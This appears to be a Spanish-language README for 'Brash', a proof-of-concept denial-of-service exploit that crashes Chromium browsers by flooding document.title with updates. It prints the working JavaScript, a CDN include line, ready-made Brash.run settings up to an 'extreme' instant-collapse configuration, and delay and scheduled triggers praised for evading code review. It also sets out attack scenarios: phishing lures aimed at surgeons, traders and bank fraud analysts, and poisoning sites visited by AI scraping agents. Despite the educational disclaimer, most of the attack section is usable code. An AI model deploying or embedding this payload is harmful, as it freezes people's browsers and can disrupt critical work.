
Ataque DoS al navegador Chromium mediante la explotación de document.title

Brash es una vulnerabilidad crítica en Blink, el motor de renderizado que impulsa los navegadores basados en Chromium de Google. Permite que cualquier navegador Chromium colapse en 15-60 segundos al explotar una falla arquitectónica en la forma en que se gestionan ciertas operaciones del DOM.
El vector de ataque se origina en la ausencia total de limitación de frecuencia (rate limiting) en las actualizaciones de la API document.title. Esto permite inyectar millones de mutaciones del DOM por segundo, y durante este intento de inyección satura el hilo principal, interrumpiendo el bucle de eventos y provocando el colapso de la interfaz. El impacto es significativo: consume altos recursos de CPU, degrada el rendimiento general del sistema y puede detener o ralentizar otros procesos que se ejecutan simultáneamente. Al afectar a los navegadores Chromium en entornos de escritorio, Android y embebidos, esta vulnerabilidad expone a más de 3 mil millones de personas en internet a una denegación de servicio a nivel de sistema.
ESTADO: Operativo
VERSIONES AFECTADAS: Chromium ≤ 143.0.7483.0 (probadas: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] El exploit está actualmente operativo. Una vez que la vulnerabilidad sea parcheada, este código dejará de funcionar. Aun así, descubrir esta falla arquitectónica y completar todo el proceso de investigación, documentación y diseño para compartir algo impactante con el mundo ha sido un viaje increíblemente gratificante.
Se probaron 11 navegadores principales en macOS, Windows y Linux para validar el impacto de la vulnerabilidad.
Todos los navegadores basados en Chromium son vulnerables porque la falla existe en el núcleo del motor de renderizado Blink:
Brash explota una falla arquitectónica fundamental en el motor de renderizado Blink: la ausencia de limitación (throttling) en las actualizaciones de document.title. El ataque opera en tres fases críticas:
Genera 100 cadenas hexadecimales únicas de 512 caracteres y las almacena en memoria antes de iniciar el ataque.
¿Por qué precargarlas en lugar de generarlas en tiempo real?
Porque generar nuevas cadenas constantemente consume tiempo de CPU en operaciones matemáticas. Ese tiempo es crítico: cada milisegundo dedicado a generar cadenas es tiempo NO utilizado para bombardear el navegador con actualizaciones de document.title.
Al tener 100 cadenas ya cargadas en memoria:
Como resultado, logramos la máxima velocidad de inyección con el máximo consumo de memoria por actualización.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Ejecuta ráfagas configurables de actualizaciones de título. Con la configuración predeterminada (burst: 8000, interval: 1ms), intenta inyectar aproximadamente 24 millones de actualizaciones por segundo, y es durante este intento cuando comienza el colapso del navegador.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
Las actualizaciones continuas saturan el hilo principal del navegador, impidiendo el procesamiento de otros eventos:
Cronología del colapso:
¿Por qué funciona?
Blink procesa cada cambio de document.title de forma síncrona en el hilo principal sin limitación de frecuencia. Esto crea un cuello de botella que:
Para comprender completamente el impacto de Brash, puedes experimentar el exploit en diferentes contextos, desde una demostración en vivo controlada hasta tu propia implementación. Cada opción está diseñada para diferentes niveles de interacción y comprensión técnica.
La forma más rápida de ver Brash en acción. Visita https://brash.run
Para ver el exploit sin interfaz gráfica, visita https://brash.run/hidden-live-demo.html. Esta versión ejecuta la inyección de forma invisible, simulando un ataque real.
Si prefieres ejecutar la demo en tu propio entorno, el directorio exploit-demo/ incluido en el repositorio te permite:
Simplemente abre exploit-demo/index.html en cualquier navegador Chromium y configura los valores burst e interval antes de comenzar.
Para integrar Brash en tus propias pruebas de seguridad o investigaciones, incluye el script y configura el ataque:
Incluye el script:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
Uso de la API:
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Configuraciones de intensidad:
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({
burstSize: 200,
interval: 1000 // ~600 updates/sec
});
// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({
burstSize: 2000,
interval: 100 // ~60,000 updates/sec
});
// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({
burstSize: 8000,
interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});
Nota: Cada ráfaga ejecuta 3 actualizaciones secuenciales de
document.title. Por ejemplo, burstSize: 400 = 1,200 actualizaciones reales por intervalo.
Brash puede ser utilizado como arma en múltiples contextos críticos con consecuencias que van desde pérdidas económicas hasta riesgo para la vida humana.
Una característica crítica que amplifica el peligro de Brash es su capacidad de ser programado para ejecutarse en momentos específicos. Un atacante puede inyectar el código con un disparador temporal, permaneciendo inactivo hasta un momento exacto predeterminado.
Implementación técnica:
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
Parámetros:
burstSize: Actualizaciones por ciclointerval: Milisegundos entre ciclosdelay: Número (segundos) o cadena ("30s", "5000ms", "3m")scheduled: Cadena ISO u objeto Date¿Por qué el parámetro delay es especialmente letal?
No requiere saber cuándo abrirán el enlace: Simplemente espera X segundos desde que la víctima abre la página.
Tiempo para establecer confianza: Durante los minutos de espera, la víctima interactúa con contenido aparentemente legítimo (formularios, documentos, videos).
Evade la inspección inicial: Si alguien revisa el código rápidamente, parece inactivo. El ataque no se ejecuta hasta más tarde.
Sincronización psicológica perfecta: Espera hasta que la víctima está profundamente involucrada en la tarea (mitad de un examen, mitad de una reunión, durante un procedimiento crítico).
Escenario típico con delay:
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse
¿Por qué el parámetro scheduled también es devastador?
Sincronización quirúrgica: El atacante elige el momento exacto de máximo impacto (apertura del mercado, hora pico de operaciones).
Ataques coordinados globales: Múltiples objetivos pueden ser alcanzados simultáneamente en el mismo segundo.
Evade la detección previa: El código malicioso puede estar presente días o semanas antes sin ejecutarse, superando las revisiones de seguridad.
Imposible de detener: Cuando el ataque se ejecuta, ya es demasiado tarde para prevenirlo.
Ejemplos de sincronización estratégica:
Esta capacidad de sincronización cinética transforma Brash de una herramienta de disrupción en un arma de precisión temporal, donde el atacante controla no solo el "qué" y el "dónde", sino también el "cuándo" con precisión de milisegundos.
Escenario: Los sistemas empresariales que dependen de agentes de IA para raspado web, análisis de mercado, monitoreo de competidores o automatización de soporte al cliente utilizan navegadores headless (Chromium/Puppeteer) para consultar miles de sitios web diariamente. Un atacante inyecta Brash en sitios populares que estos agentes consultan.
Durante operaciones automatizadas críticas:
Vectores de ataque amplificados:
Impacto real: Parálisis de operaciones automatizadas críticas, pérdidas económicas por decisiones no tomadas, degradación masiva de servicios dependientes de IA, costos de recuperación de infraestructura, exposición de la dependencia crítica de los agentes automatizados.
Escenario: Un cirujano cardiovascular está realizando una operación de bypass coronario asistido por un sistema de navegación quirúrgica basado en web (cada vez más común en cirugías mínimamente invasivas). El sistema proporciona imágenes en tiempo real, métricas vitales del paciente y guía para instrumentos robóticos.
Durante la fase más crítica de la operación, aparece una notificación del navegador: "ALERTA: Actualización crítica del sistema quirúrgico - Aplícala ahora o la operación podría fallar."
Al hacer clic en pánico:
Impacto real: Riesgo directo de muerte del paciente, posibilidad de daño permanente, trauma psicológico para el equipo médico, demandas millonarias por negligencia tecnológica.
Escenario: Durante la apertura del mercado de Wall Street, un actor malicioso inyecta Brash en múltiples canales simultáneamente: la interfaz web de Bloomberg Terminal, el chat de operadores institucionales y foros especializados. El enlace promete "Filtración: Transcripción de la reunión de emergencia de la Fed - Recorte de tasas confirmado."
En los primeros 30 segundos de negociación (máxima liquidez):
Impacto real: Pérdidas de billones de dólares en capitalización de mercado, pánico financiero global, investigaciones de la SEC, posible crisis de confianza en los mercados.
Escenario: Los analistas de fraude de un banco procesan alertas de transacciones sospechosas en tiempo real a través de un panel web. Durante el Black Friday (pico de transacciones), reciben Brash por correo electrónico corporativo: "Nuevo patrón de fraude detectado - se requiere análisis urgente."
En el momento de mayor volumen transaccional:
Impacto real: Millones de dólares en pérdidas directas, miles de clientes con cargos fraudulentos, daño reputacional masivo, multas regulatorias por fallas en los sistemas de prevención.
Estos escenarios no son teóricos. La simplicidad de Brash lo convierte en una amenaza real para cualquier operación que dependa de navegadores web, lo que en 2025 significa prácticamente todo.
La creación de Brash es un esfuerzo por demostrar lo que sucede cuando faltan protecciones básicas en las tecnologías web que usamos a diario. La vulnerabilidad no reside en código complejo ni en técnicas avanzadas, sino en la falta fundamental de limitación de frecuencia en una API que debería estar limitada por diseño.
El impacto de Brash en más de 3 mil millones de usuarios de navegadores Chromium demuestra que las fallas arquitectónicas en componentes centrales como Blink tienen consecuencias masivas y globales. Esto no es un error aislado: es una falla de diseño que afecta a todo el ecosistema Chromium.
A menudo, las cosas más peligrosas se esconden en el lugar menos esperado, el más ignorado. - Jose Pino
Este PoC está destinado únicamente a fines educativos y de investigación en seguridad para ayudar a hacer de internet un lugar más seguro. Su ejecución debe realizarse exclusivamente en entornos controlados y no debe utilizarse en sistemas de producción, sitios web públicos ni dispositivos que contengan datos importantes.
El uso indebido de este exploit puede provocar bloqueos del navegador, pérdida de datos e inestabilidad del sistema. El autor no es responsable de ningún daño, pérdida de datos o consecuencias legales derivadas del uso o mal uso de este PoC. Al usar Brash, reconoces que comprendes estos riesgos y aceptas utilizarlo únicamente para investigaciones de seguridad legítimas en entornos aislados.
Se espera que los usuarios cumplan con todas las leyes y regulaciones aplicables. El uso no autorizado de este exploit contra sistemas que no posees o para los cuales no tienes permiso explícito para probar es ilegal y poco ético.
El contenido de este proyecto en sí está licenciado bajo la licencia Creative Commons Attribution 3.0, y el código fuente subyacente utilizado para formatear y mostrar ese contenido está licenciado bajo la licencia MIT.
Copyright (c) 2025 por Jose Pino